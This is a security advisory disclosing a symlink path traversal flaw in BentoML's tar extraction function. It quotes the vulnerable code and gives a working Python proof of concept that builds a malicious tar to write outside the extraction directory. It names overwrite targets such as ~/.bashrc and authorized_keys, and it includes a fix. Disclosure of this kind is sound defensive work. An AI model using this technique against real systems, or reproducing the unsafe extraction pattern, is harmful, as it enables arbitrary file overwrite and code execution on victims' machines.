PYSEC-2026-2398

# Arbitrary File Write via Symlink Path Traversal in Tar Extraction

## Summary

The `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, **not the symlink's target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.

## Affected Component

- **File**: `src/bentoml/_internal/utils/filesystem.py:58-96` - **Callers**: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504` - **Affected versions**: All versions with `safe_extract_tarfile()`

## Severity

**CVSS 3.1: 8.1 (High)** `AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`

## Vulnerability Details

### Vulnerable Code (filesystem.py:58-96)

```python def safe_extract_tarfile(tar, destination): os.makedirs(destination, exist_ok=True) for member in tar.getmembers(): fn = member.name path = os.path.abspath(os.path.join(destination, fn)) if not Path(path).is_relative_to(destination): # Line 64: INCOMPLETE continue # Only checks member path, NOT symlink target if member.issym(): tar._extract_member(member, path) # Line 75: Creates symlink with UNVALIDATED target else: fp = tar.extractfile(member) with open(path, "wb") as destfp: # Line 92: open() FOLLOWS symlinks shutil.copyfileobj(fp, destfp) ```

### The Bug

1. Line 64: `Path(path).is_relative_to(destination)` checks the member's OWN path, not the symlink target 2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`) 3. Line 92: `open(path, "wb")` follows the symlink, writing OUTSIDE the destination

`os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target.

## Proof of Concept

```python import io, os, shutil, tarfile, tempfile from pathlib import Path

def create_malicious_tar(target_dir, target_file, payload): buf = io.BytesIO() with tarfile.open(fileobj=buf, mode='w:gz') as tar: sym = tarfile.TarInfo(name='escape') sym.type = tarfile.SYMTYPE sym.linkname = target_dir tar.addfile(sym) info = tarfile.TarInfo(name=f'escape/{target_file}') info.size = len(payload) tar.addfile(info, io.BytesIO(payload)) buf.seek(0) return buf

with tempfile.TemporaryDirectory() as tmpdir: extract_dir = os.path.join(tmpdir, 'extract') target_dir = os.path.join(tmpdir, 'outside') os.makedirs(target_dir) mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED') tar = tarfile.open(fileobj=mal_tar, mode='r:gz') # Reproduce filesystem.py:58-96 os.makedirs(extract_dir, exist_ok=True) for member in tar.getmembers(): path = os.path.abspath(os.path.join(extract_dir, member.name)) if not Path(path).is_relative_to(extract_dir): continue if member.issym(): tar._extract_member(member, path) # Symlink target NOT checked else: fp = tar.extractfile(member) os.makedirs(os.path.dirname(path), exist_ok=True) if fp: with open(path, 'wb') as destfp: # Follows symlink! shutil.copyfileobj(fp, destfp) assert os.path.exists(os.path.join(target_dir, 'pwned.txt')) print(open(os.path.join(target_dir, 'pwned.txt')).read()) # PWNED ```

## Impact

### 1. Arbitrary file overwrite via shared bentos BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages.

### 2. Remote code execution via file overwrite Overwriting `~/.bashrc` or Python packages achieves RCE.

### 3. BentoCloud deployments `safe_extract_tarfile()` is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.

## Remediation

Validate symlink targets: ```python if member.issym(): target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname)) if not Path(target).is_relative_to(dest): logger.warning('Symlink %s points outside: %s', member.name, member.linkname) continue ```

Or use Python 3.12+ `tar.extractall(filter='data')`.

## References

- CWE-59: Improper Link Resolution Before File Access ('Link Following') - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')